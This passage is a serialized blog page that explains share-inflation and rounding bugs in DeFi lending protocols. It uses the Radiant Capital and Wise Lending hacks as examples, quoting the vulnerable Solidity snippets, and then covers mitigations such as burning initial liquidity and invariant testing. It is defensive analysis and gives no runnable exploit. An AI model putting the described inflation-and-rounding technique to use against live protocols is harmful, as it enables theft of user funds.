the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":2913,"props":45999,"children":46000},{},[46001],{"type":28,"value":46002},"down",{"type":28,"value":46004}," against the user.",{"type":23,"tag":24,"props":46006,"children":46007},{},[46008,46010,46016,46018,46024],{"type":28,"value":46009},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":37,"props":46011,"children":46013},{"className":46012},[],[46014],{"type":28,"value":46015},"2:1",{"type":28,"value":46017},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":37,"props":46019,"children":46021},{"className":46020},[],[46022],{"type":28,"value":46023},"3:1",{"type":28,"value":706},{"type":23,"tag":24,"props":46026,"children":46027},{},[46028],{"type":28,"value":46029},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":46031,"children":46032},{},[46033],{"type":28,"value":46034},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":5436,"props":46036,"children":46037},{},[46038,46043,46048],{"type":23,"tag":421,"props":46039,"children":46040},{},[46041],{"type":28,"value":46042},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":421,"props":46044,"children":46045},{},[46046],{"type":28,"value":46047},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":421,"props":46049,"children":46050},{},[46051],{"type":28,"value":46052},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":446,"props":46054,"children":46056},{"id":46055},"decisions",[46057],{"type":28,"value":46058},"Decisions",{"type":23,"tag":24,"props":46060,"children":46061},{},[46062],{"type":28,"value":46063},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":546,"props":46065,"children":46067},{"id":46066},"radiant-capital",[46068],{"type":28,"value":46069},"Radiant Capital",{"type":23,"tag":24,"props":46071,"children":46072},{},[46073,46075,46082],{"type":28,"value":46074},"Radiant Capital was ",{"type":23,"tag":458,"props":46076,"children":46079},{"href":46077,"rel":46078},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[462],[46080],{"type":28,"value":46081},"hacked on Jan 2nd",{"type":28,"value":46083}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":46085,"children":46086},{},[46087,46089,46096],{"type":28,"value":46088},"The exploit is relatively straightforward and ",{"type":23,"tag":458,"props":46090,"children":46093},{"href":46091,"rel":46092},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[462],[46094],{"type":28,"value":46095},"has already been covered previously",{"type":28,"value":706},{"type":23,"tag":24,"props":46098,"children":46099},{},[46100],{"type":28,"value":46101},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":546,"props":46103,"children":46105},{"id":46104},"wise-lending",[46106],{"type":28,"value":46107},"Wise Lending",{"type":23,"tag":24,"props":46109,"children":46110},{},[46111,46113,46120],{"type":28,"value":46112},"Wise Lending was ",{"type":23,"tag":458,"props":46114,"children":46117},{"href":46115,"rel":46116},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[462],[46118],{"type":28,"value":46119},"hacked on January 13th",{"type":28,"value":46121}," for just under $460,000.",{"type":23,"tag":24,"props":46123,"children":46124},{},[46125],{"type":28,"value":46126},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":46128,"children":46129},{},[46130,46132,46139,46141,46148],{"type":28,"value":46131},"This is ",{"type":23,"tag":458,"props":46133,"children":46136},{"href":46134,"rel":46135},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[462],[46137],{"type":28,"value":46138},"the code responsible",{"type":28,"value":46140}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":458,"props":46142,"children":46145},{"href":46143,"rel":46144},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[462],[46146],{"type":28,"value":46147},"no way to atomically self-bankrupt",{"type":28,"value":706},{"type":23,"tag":31,"props":46150,"children":46152},{"className":34,"code":46151,"language":16,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[46153],{"type":23,"tag":37,"props":46154,"children":46155},{"__ignoreMap":7},[46156,46186,46194,46202,46209,46231,46244,46251,46272,46302,46314,46326,46333,46357,46374],{"type":23,"tag":41,"props":46157,"children":46158},{"class":43,"line":44},[46159,46163,46168,46172,46177,46182],{"type":23,"tag":41,"props":46160,"children":46161},{"style":94},[46162],{"type":28,"value":147},{"type":23,"tag":41,"props":46164,"children":46165},{"style":70},[46166],{"type":28,"value":46167}," withdrawValue ",{"type":23,"tag":41,"props":46169,"children":46170},{"style":170},[46171],{"type":28,"value":2381},{"type":23,"tag":41,"props":46173,"children":46174},{"style":70},[46175],{"type":28,"value":46176}," WISE_ORACLE.",{"type":23,"tag":41,"props":46178,"children":46179},{"style":114},[46180],{"type":28,"value":46181},"getTokensInETH",{"type":23,"tag":41,"props":46183,"children":46184},{"style":70},[46185],{"type":28,"value":3461},{"type":23,"tag":41,"props":46187,"children":46188},{"class":43,"line":54},[46189],{"type":23,"tag":41,"props":46190,"children":46191},{"style":70},[46192],{"type":28,"value":46193},"    _poolToken,\n",{"type":23,"tag":41,"props":46195,"children":46196},{"class":43,"line":76},[46197],{"type":23,"tag":41,"props":46198,"children":46199},{"style":70},[46200],{"type":28,"value":46201},"    _amount\n",{"type":23,"tag":41,"props":46203,"children":46204},{"class":43,"line":85},[46205],{"type":23,"tag":41,"props":46206,"children":46207},{"style":70},[46208],{"type":28,"value":1969},{"type":23,"tag":41,"props":46210,"children":46211},{"class":43,"line":105},[46212,46216,46221,46226],{"type":23,"tag":41,"props":46213,"children":46214},{"style":170},[46215],{"type":28,"value":17548},{"type":23,"tag":41,"props":46217,"children":46218},{"style":70},[46219],{"type":28,"value":46220}," WISE_LENDING.",{"type":23,"tag":41,"props":46222,"children":46223},{"style":114},[46224],{"type":28,"value":46225},"lendingPoolData",{"type":23,"tag":41,"props":46227,"children":46228},{"style":70},[46229],{"type":28,"value":46230},"(_poolToken).collateralFactor\n",{"type":23,"tag":41,"props":46232,"children":46233},{"class":43,"line":155},[46234,46239],{"type":23,"tag":41,"props":46235,"children":46236},{"style":170},[46237],{"type":28,"value":46238},"    /",{"type":23,"tag":41,"props":46240,"children":46241},{"style":70},[46242],{"type":28,"value":46243}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":41,"props":46245,"children":46246},{"class":43,"line":186},[46247],{"type":23,"tag":41,"props":46248,"children":46249},{"emptyLinePlaceholder":18},[46250],{"type":28,"value":82},{"type":23,"tag":41,"props":46252,"children":46253},{"class":43,"line":195},[46254,46258,46263,46267],{"type":23,"tag":41,"props":46255,"children":46256},{"style":94},[46257],{"type":28,"value":991},{"type":23,"tag":41,"props":46259,"children":46260},{"style":70},[46261],{"type":28,"value":46262}," state ",{"type":23,"tag":41,"props":46264,"children":46265},{"style":170},[46266],{"type":28,"value":2381},{"type":23,"tag":41,"props":46268,"children":46269},{"style":70},[46270],{"type":28,"value":46271}," borrowPercentageCap\n",{"type":23,"tag":41,"props":46273,"children":46274},{"class":43,"line":905},[46275,46279,46283,46288,46293,46297],{"type":23,"tag":41,"props":46276,"children":46277},{"style":170},[46278],{"type":28,"value":17548},{"type":23,"tag":41,"props":46280,"children":46281},{"style":70},[46282],{"type":28,"value":142},{"type":23,"tag":41,"props":46284,"children":46285},{"style":114},[46286],{"type":28,"value":46287},"overallETHCollateralsWeighted",{"type":23,"tag":41,"props":46289,"children":46290},{"style":70},[46291],{"type":28,"value":46292},"(_nftId) ",{"type":23,"tag":41,"props":46294,"children":46295},{"style":170},[46296],{"type":28,"value":4329},{"type":23,"tag":41,"props":46298,"children":46299},{"style":70},[46300],{"type":28,"value":46301}," withdrawValue)\n",{"type":23,"tag":41,"props":46303,"children":46304},{"class":43,"line":922},[46305,46309],{"type":23,"tag":41,"props":46306,"children":46307},{"style":170},[46308],{"type":28,"value":46238},{"type":23,"tag":41,"props":46310,"children":46311},{"style":70},[46312],{"type":28,"value":46313}," PRECISION_FACTOR_E18\n",{"type":23,"tag":41,"props":46315,"children":46316},{"class":43,"line":930},[46317,46321],{"type":23,"tag":41,"props":46318,"children":46319},{"style":170},[46320],{"type":28,"value":32440},{"type":23,"tag":41,"props":46322,"children":46323},{"style":70},[46324],{"type":28,"value":46325}," borrowAmount;\n",{"type":23,"tag":41,"props":46327,"children":46328},{"class":43,"line":939},[46329],{"type":23,"tag":41,"props":46330,"children":46331},{"emptyLinePlaceholder":18},[46332],{"type":28,"value":82},{"type":23,"tag":41,"props":46334,"children":46335},{"class":43,"line":947},[46336,46340,46345,46349,46353],{"type":23,"tag":41,"props":46337,"children":46338},{"style":58},[46339],{"type":28,"value":368},{"type":23,"tag":41,"props":46341,"children":46342},{"style":70},[46343],{"type":28,"value":46344}," (state ",{"type":23,"tag":41,"props":46346,"children":46347},{"style":170},[46348],{"type":28,"value":387},{"type":23,"tag":41,"props":46350,"children":46351},{"style":64},[46352],{"type":28,"value":915},{"type":23,"tag":41,"props":46354,"children":46355},{"style":70},[46356],{"type":28,"value":152},{"type":23,"tag":41,"props":46358,"children":46359},{"class":43,"line":985},[46360,46365,46370],{"type":23,"tag":41,"props":46361,"children":46362},{"style":58},[46363],{"type":28,"value":46364},"    revert",{"type":23,"tag":41,"props":46366,"children":46367},{"style":114},[46368],{"type":28,"value":46369}," ResultsInBadDebt",{"type":23,"tag":41,"props":46371,"children":46372},{"style":70},[46373],{"type":28,"value":3669},{"type":23,"tag":41,"props":46375,"children":46376},{"class":43,"line":1058},[46377],{"type":23,"tag":41,"props":46378,"children":46379},{"style":70},[46380],{"type":28,"value":201},{"type":23,"tag":24,"props":46382,"children":46383},{},[46384],{"type":28,"value":46385},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":46387,"children":46388},{},[46389],{"type":28,"value":46390},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":46392,"children":46393},{},[46394,46396,46402],{"type":28,"value":46395},"And indeed, ",{"type":23,"tag":458,"props":46397,"children":46400},{"href":46398,"rel":46399},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[462],[46401],{"type":28,"value":46107},{"type":28,"value":46403}," rounds up the share value.",{"type":23,"tag":31,"props":46405,"children":46407},{"className":34,"code":46406,"language":16,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[46408],{"type":23,"tag":37,"props":46409,"children":46410},{"__ignoreMap":7},[46411,46427,46444,46460,46472,46479,46487,46495,46515,46522,46543,46564,46586,46615,46636],{"type":23,"tag":41,"props":46412,"children":46413},{"class":43,"line":44},[46414,46418,46423],{"type":23,"tag":41,"props":46415,"children":46416},{"style":64},[46417],{"type":28,"value":31371},{"type":23,"tag":41,"props":46419,"children":46420},{"style":114},[46421],{"type":28,"value":46422}," _calculateShares",{"type":23,"tag":41,"props":46424,"children":46425},{"style":70},[46426],{"type":28,"value":3461},{"type":23,"tag":41,"props":46428,"children":46429},{"class":43,"line":54},[46430,46435,46440],{"type":23,"tag":41,"props":46431,"children":46432},{"style":94},[46433],{"type":28,"value":46434},"    uint256",{"type":23,"tag":41,"props":46436,"children":46437},{"style":858},[46438],{"type":28,"value":46439}," _product",{"type":23,"tag":41,"props":46441,"children":46442},{"style":70},[46443],{"type":28,"value":3506},{"type":23,"tag":41,"props":46445,"children":46446},{"class":43,"line":76},[46447,46451,46456],{"type":23,"tag":41,"props":46448,"children":46449},{"style":94},[46450],{"type":28,"value":46434},{"type":23,"tag":41,"props":46452,"children":46453},{"style":858},[46454],{"type":28,"value":46455}," _pseudo",{"type":23,"tag":41,"props":46457,"children":46458},{"style":70},[46459],{"type":28,"value":3506},{"type":23,"tag":41,"props":46461,"children":46462},{"class":43,"line":85},[46463,46467],{"type":23,"tag":41,"props":46464,"children":46465},{"style":94},[46466],{"type":28,"value":831},{"type":23,"tag":41,"props":46468,"children":46469},{"style":858},[46470],{"type":28,"value":46471}," _maxSharePrice\n",{"type":23,"tag":41,"props":46473,"children":46474},{"class":43,"line":105},[46475],{"type":23,"tag":41,"props":46476,"children":46477},{"style":70},[46478],{"type":28,"value":1969},{"type":23,"tag":41,"props":46480,"children":46481},{"class":43,"line":155},[46482],{"type":23,"tag":41,"props":46483,"children":46484},{"style":64},[46485],{"type":28,"value":46486},"    private\n",{"type":23,"tag":41,"props":46488,"children":46489},{"class":43,"line":186},[46490],{"type":23,"tag":41,"props":46491,"children":46492},{"style":64},[46493],{"type":28,"value":46494},"    pure\n",{"type":23,"tag":41,"props":46496,"children":46497},{"class":43,"line":195},[46498,46503,46507,46511],{"type":23,"tag":41,"props":46499,"children":46500},{"style":58},[46501],{"type":28,"value":46502},"    returns",{"type":23,"tag":41,"props":46504,"children":46505},{"style":70},[46506],{"type":28,"value":142},{"type":23,"tag":41,"props":46508,"children":46509},{"style":94},[46510],{"type":28,"value":147},{"type":23,"tag":41,"props":46512,"children":46513},{"style":70},[46514],{"type":28,"value":1969},{"type":23,"tag":41,"props":46516,"children":46517},{"class":43,"line":905},[46518],{"type":23,"tag":41,"props":46519,"children":46520},{"style":70},[46521],{"type":28,"value":1559},{"type":23,"tag":41,"props":46523,"children":46524},{"class":43,"line":922},[46525,46529,46534,46538],{"type":23,"tag":41,"props":46526,"children":46527},{"style":58},[46528],{"type":28,"value":1090},{"type":23,"tag":41,"props":46530,"children":46531},{"style":70},[46532],{"type":28,"value":46533}," _maxSharePrice ",{"type":23,"tag":41,"props":46535,"children":46536},{"style":170},[46537],{"type":28,"value":387},{"type":23,"tag":41,"props":46539,"children":46540},{"style":64},[46541],{"type":28,"value":46542}," true\n",{"type":23,"tag":41,"props":46544,"children":46545},{"class":43,"line":930},[46546,46551,46556,46560],{"type":23,"tag":41,"props":46547,"children":46548},{"style":170},[46549],{"type":28,"value":46550},"        ?",{"type":23,"tag":41,"props":46552,"children":46553},{"style":70},[46554],{"type":28,"value":46555}," _product % _pseudo ",{"type":23,"tag":41,"props":46557,"children":46558},{"style":170},[46559],{"type":28,"value":387},{"type":23,"tag":41,"props":46561,"children":46562},{"style":164},[46563],{"type":28,"value":24277},{"type":23,"tag":41,"props":46565,"children":46566},{"class":43,"line":939},[46567,46572,46577,46581],{"type":23,"tag":41,"props":46568,"children":46569},{"style":170},[46570],{"type":28,"value":46571},"            ?",{"type":23,"tag":41,"props":46573,"children":46574},{"style":70},[46575],{"type":28,"value":46576}," _product ",{"type":23,"tag":41,"props":46578,"children":46579},{"style":170},[46580],{"type":28,"value":4579},{"type":23,"tag":41,"props":46582,"children":46583},{"style":70},[46584],{"type":28,"value":46585}," _pseudo\n",{"type":23,"tag":41,"props":46587,"children":46588},{"class":43,"line":947},[46589,46594,46598,46602,46607,46611],{"type":23,"tag":41,"props":46590,"children":46591},{"style":170},[46592],{"type":28,"value":46593},"            :",{"type":23,"tag":41,"props":46595,"children":46596},{"style":70},[46597],{"type":28,"value":46576},{"type":23,"tag":41,"props":46599,"children":46600},{"style":170},[46601],{"type":28,"value":4579},{"type":23,"tag":41,"props":46603,"children":46604},{"style":70},[46605],{"type":28,"value":46606}," _pseudo ",{"type":23,"tag":41,"props":46608,"children":46609},{"style":170},[46610],{"type":28,"value":4383},{"type":23,"tag":41,"props":46612,"children":46613},{"style":164},[46614],{"type":28,"value":19430},{"type":23,"tag":41,"props":46616,"children":46617},{"class":43,"line":985},[46618,46623,46627,46631],{"type":23,"tag":41,"props":46619,"children":46620},{"style":170},[46621],{"type":28,"value":46622},"        :",{"type":23,"tag":41,"props":46624,"children":46625},{"style":70},[46626],{"type":28,"value":46576},{"type":23,"tag":41,"props":46628,"children":46629},{"style":170},[46630],{"type":28,"value":4579},{"type":23,"tag":41,"props":46632,"children":46633},{"style":70},[46634],{"type":28,"value":46635}," _pseudo;\n",{"type":23,"tag":41,"props":46637,"children":46638},{"class":43,"line":1058},[46639],{"type":23,"tag":41,"props":46640,"children":46641},{"style":70},[46642],{"type":28,"value":201},{"type":23,"tag":24,"props":46644,"children":46645},{},[46646,46651],{"type":23,"tag":2913,"props":46647,"children":46648},{},[46649],{"type":28,"value":46650},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":46652},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":46654,"children":46655},{},[46656],{"type":28,"value":46657},"This is a really tricky invariant to reason about!",{"type":23,"tag":446,"props":46659,"children":46661},{"id":46660},"root-cause",[46662],{"type":28,"value":46663},"Root Cause",{"type":23,"tag":24,"props":46665,"children":46666},{},[46667],{"type":28,"value":46668},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":46670,"children":46671},{},[46672],{"type":28,"value":46673},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":31,"props":46675,"children":46677},{"className":34,"code":46676,"language":16,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[46678],{"type":23,"tag":37,"props":46679,"children":46680},{"__ignoreMap":7},[46681],{"type":23,"tag":41,"props":46682,"children":46683},{"class":43,"line":44},[46684,46689,46693,46698,46702],{"type":23,"tag":41,"props":46685,"children":46686},{"style":70},[46687],{"type":28,"value":46688},"totalDepositShares ",{"type":23,"tag":41,"props":46690,"children":46691},{"style":170},[46692],{"type":28,"value":377},{"type":23,"tag":41,"props":46694,"children":46695},{"style":70},[46696],{"type":28,"value":46697}," _amount ",{"type":23,"tag":41,"props":46699,"children":46700},{"style":170},[46701],{"type":28,"value":4579},{"type":23,"tag":41,"props":46703,"children":46704},{"style":70},[46705],{"type":28,"value":46706}," pseudoTotalPool\n",{"type":23,"tag":24,"props":46708,"children":46709},{},[46710],{"type":28,"value":46711},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":46713,"children":46714},{},[46715,46717,46721],{"type":28,"value":46716},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":2913,"props":46718,"children":46719},{},[46720],{"type":28,"value":19905},{"type":28,"value":46722}," integer division?",{"type":23,"tag":446,"props":46724,"children":46726},{"id":46725},"mitigations",[46727],{"type":28,"value":46728},"Mitigations",{"type":23,"tag":24,"props":46730,"children":46731},{},[46732],{"type":28,"value":46733},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":46735,"children":46736},{},[46737,46739,46746],{"type":28,"value":46738},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":458,"props":46740,"children":46743},{"href":46741,"rel":46742},"https://twitter.com/danielvf/status/1746306320553152615",[462],[46744],{"type":28,"value":46745},"@danielvf notes",{"type":28,"value":46747},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":31,"props":46749,"children":46751},{"className":34,"code":46750,"language":16,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46752],{"type":23,"tag":37,"props":46753,"children":46754},{"__ignoreMap":7},[46755,46779,46826,46860],{"type":23,"tag":41,"props":46756,"children":46757},{"class":43,"line":44},[46758,46762,46767,46771,46775],{"type":23,"tag":41,"props":46759,"children":46760},{"style":58},[46761],{"type":28,"value":368},{"type":23,"tag":41,"props":46763,"children":46764},{"style":70},[46765],{"type":28,"value":46766}," (_totalSupply ",{"type":23,"tag":41,"props":46768,"children":46769},{"style":170},[46770],{"type":28,"value":387},{"type":23,"tag":41,"props":46772,"children":46773},{"style":164},[46774],{"type":28,"value":392},{"type":23,"tag":41,"props":46776,"children":46777},{"style":70},[46778],{"type":28,"value":152},{"type":23,"tag":41,"props":46780,"children":46781},{"class":43,"line":54},[46782,46787,46791,46796,46801,46806,46811,46816,46821],{"type":23,"tag":41,"props":46783,"children":46784},{"style":70},[46785],{"type":28,"value":46786},"    liquidity ",{"type":23,"tag":41,"props":46788,"children":46789},{"style":170},[46790],{"type":28,"value":2381},{"type":23,"tag":41,"props":46792,"children":46793},{"style":70},[46794],{"type":28,"value":46795}," Math.",{"type":23,"tag":41,"props":46797,"children":46798},{"style":114},[46799],{"type":28,"value":46800},"sqrt",{"type":23,"tag":41,"props":46802,"children":46803},{"style":70},[46804],{"type":28,"value":46805},"(amount0.",{"type":23,"tag":41,"props":46807,"children":46808},{"style":114},[46809],{"type":28,"value":46810},"mul",{"type":23,"tag":41,"props":46812,"children":46813},{"style":70},[46814],{"type":28,"value":46815},"(amount1)).",{"type":23,"tag":41,"props":46817,"children":46818},{"style":114},[46819],{"type":28,"value":46820},"sub",{"type":23,"tag":41,"props":46822,"children":46823},{"style":70},[46824],{"type":28,"value":46825},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":41,"props":46827,"children":46828},{"class":43,"line":76},[46829,46834,46838,46842,46846,46850,46855],{"type":23,"tag":41,"props":46830,"children":46831},{"style":114},[46832],{"type":28,"value":46833},"   _mint",{"type":23,"tag":41,"props":46835,"children":46836},{"style":70},[46837],{"type":28,"value":1737},{"type":23,"tag":41,"props":46839,"children":46840},{"style":94},[46841],{"type":28,"value":32634},{"type":23,"tag":41,"props":46843,"children":46844},{"style":70},[46845],{"type":28,"value":1737},{"type":23,"tag":41,"props":46847,"children":46848},{"style":164},[46849],{"type":28,"value":4024},{"type":23,"tag":41,"props":46851,"children":46852},{"style":70},[46853],{"type":28,"value":46854},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":41,"props":46856,"children":46857},{"style":48},[46858],{"type":28,"value":46859},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":41,"props":46861,"children":46862},{"class":43,"line":85},[46863,46868,46872],{"type":23,"tag":41,"props":46864,"children":46865},{"style":70},[46866],{"type":28,"value":46867},"} ",{"type":23,"tag":41,"props":46869,"children":46870},{"style":58},[46871],{"type":28,"value":3315},{"type":23,"tag":41,"props":46873,"children":46874},{"style":70},[46875],{"type":28,"value":102},{"type":23,"tag":24,"props":46877,"children":46878},{},[46879,46881,46888],{"type":28,"value":46880},"Alternatively, ",{"type":23,"tag":458,"props":46882,"children":46885},{"href":46883,"rel":46884},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[462],[46886],{"type":28,"value":46887},"storing the conversion rate separately",{"type":28,"value":46889}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":31,"props":46891,"children":46893},{"className":34,"code":46892,"language":16,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46894],{"type":23,"tag":37,"props":46895,"children":46896},{"__ignoreMap":7},[46897,46932],{"type":23,"tag":41,"props":46898,"children":46899},{"class":43,"line":44},[46900,46905,46909,46914,46918,46923,46927],{"type":23,"tag":41,"props":46901,"children":46902},{"style":70},[46903],{"type":28,"value":46904},"accrualIndices.borrowed ",{"type":23,"tag":41,"props":46906,"children":46907},{"style":170},[46908],{"type":28,"value":2381},{"type":23,"tag":41,"props":46910,"children":46911},{"style":70},[46912],{"type":28,"value":46913}," accrualIndices.borrowed ",{"type":23,"tag":41,"props":46915,"children":46916},{"style":170},[46917],{"type":28,"value":377},{"type":23,"tag":41,"props":46919,"children":46920},{"style":70},[46921],{"type":28,"value":46922}," borrowInterestFactor ",{"type":23,"tag":41,"props":46924,"children":46925},{"style":170},[46926],{"type":28,"value":4579},{"type":23,"tag":41,"props":46928,"children":46929},{"style":70},[46930],{"type":28,"value":46931}," precision;\n",{"type":23,"tag":41,"props":46933,"children":46934},{"class":43,"line":54},[46935,46940,46944,46949,46953,46958,46962],{"type":23,"tag":41,"props":46936,"children":46937},{"style":70},[46938],{"type":28,"value":46939},"accrualIndices.deposited ",{"type":23,"tag":41,"props":46941,"children":46942},{"style":170},[46943],{"type":28,"value":2381},{"type":23,"tag":41,"props":46945,"children":46946},{"style":70},[46947],{"type":28,"value":46948}," accrualIndices.deposited ",{"type":23,"tag":41,"props":46950,"children":46951},{"style":170},[46952],{"type":28,"value":377},{"type":23,"tag":41,"props":46954,"children":46955},{"style":70},[46956],{"type":28,"value":46957}," depositInterestFactor ",{"type":23,"tag":41,"props":46959,"children":46960},{"style":170},[46961],{"type":28,"value":4579},{"type":23,"tag":41,"props":46963,"children":46964},{"style":70},[46965],{"type":28,"value":46931},{"type":23,"tag":24,"props":46967,"children":46968},{},[46969],{"type":28,"value":46970},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":46972,"children":46973},{},[46974,46976,46981],{"type":28,"value":46975},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":2913,"props":46977,"children":46978},{},[46979],{"type":28,"value":46980},"apply the state changes and check the invariant",{"type":28,"value":706},{"type":23,"tag":24,"props":46983,"children":46984},{},[46985],{"type":28,"value":46986},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":46988,"children":46989},{},[46990],{"type":28,"value":46991},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":446,"props":46993,"children":46994},{"id":2811},[46995],{"type":28,"value":2814},{"type":23,"tag":24,"props":46997,"children":46998},{},[46999],{"type":28,"value":47000},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":47002,"children":47003},{},[47004],{"type":28,"value":47005},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":2843,"props":47007,"children":47008},{},[47009],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":47011},[47012,47013,47014,47018,47019,47020],{"id":29014,"depth":54,"text":29017},{"id":45936,"depth":54,"text":45939},{"id":46055,"depth":54,"text":46058,"children":47015},[47016,47017],{"id":46066,"depth":76,"text":46069},{"id":46104,"depth":76,"text":46107},{"id":46660,"depth":54,"text":46663},{"id":46725,"depth":54,"text":46728},{"id":2811,"depth":54,"text":2814},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":47025,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47026,"description":47027,"author":47028,"image":47029,"date":47031,"isFeatured":18,"onBlogPage":18,"body":47032,"_type":2864,"_id":50512,"_source":2866,"_file":50513,"_stem":50514,"_extension":2869},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[31195,31194],{"src":47030},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":47033,"toc":50491},[47034,47038,47059,47064,47068,47073,47112,47118,47133,47151,47156,47161,47166,47179,47486,47512,47525,47530,47535,47549,47554,47567,47581,47812,47833,47868,47874,47879,47884,48098,48119,48125,48137,48227,48249,48285,48293,48311,48568,48594,48600,48614,48812,48831,49238,49251,49257,49276,49369,49374,49380,49393,49406,49492,49498,49510,49595,49607,49620,49626,49631,49645,49972,49977,49982,49988,50014,50069,50089,50142,50148,50153,50172,50183,50377,50383,50406,50412,50417,50430,50435,50440,50444,50449,50457,50487],{"type":23,"tag":446,"props":47035,"children":47036},{"id":18944},[47037],{"type":28,"value":18947},{"type":23,"tag":24,"props":47039,"children":47040},{},[47041,47048,47050,47057],{"type":23,"tag":458,"props":47042,"children":47045},{"href":47043,"rel":47044},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[462],[47046],{"type":28,"value":47047},"Supply chain",{"type":28,"value":47049}," attacks are becoming 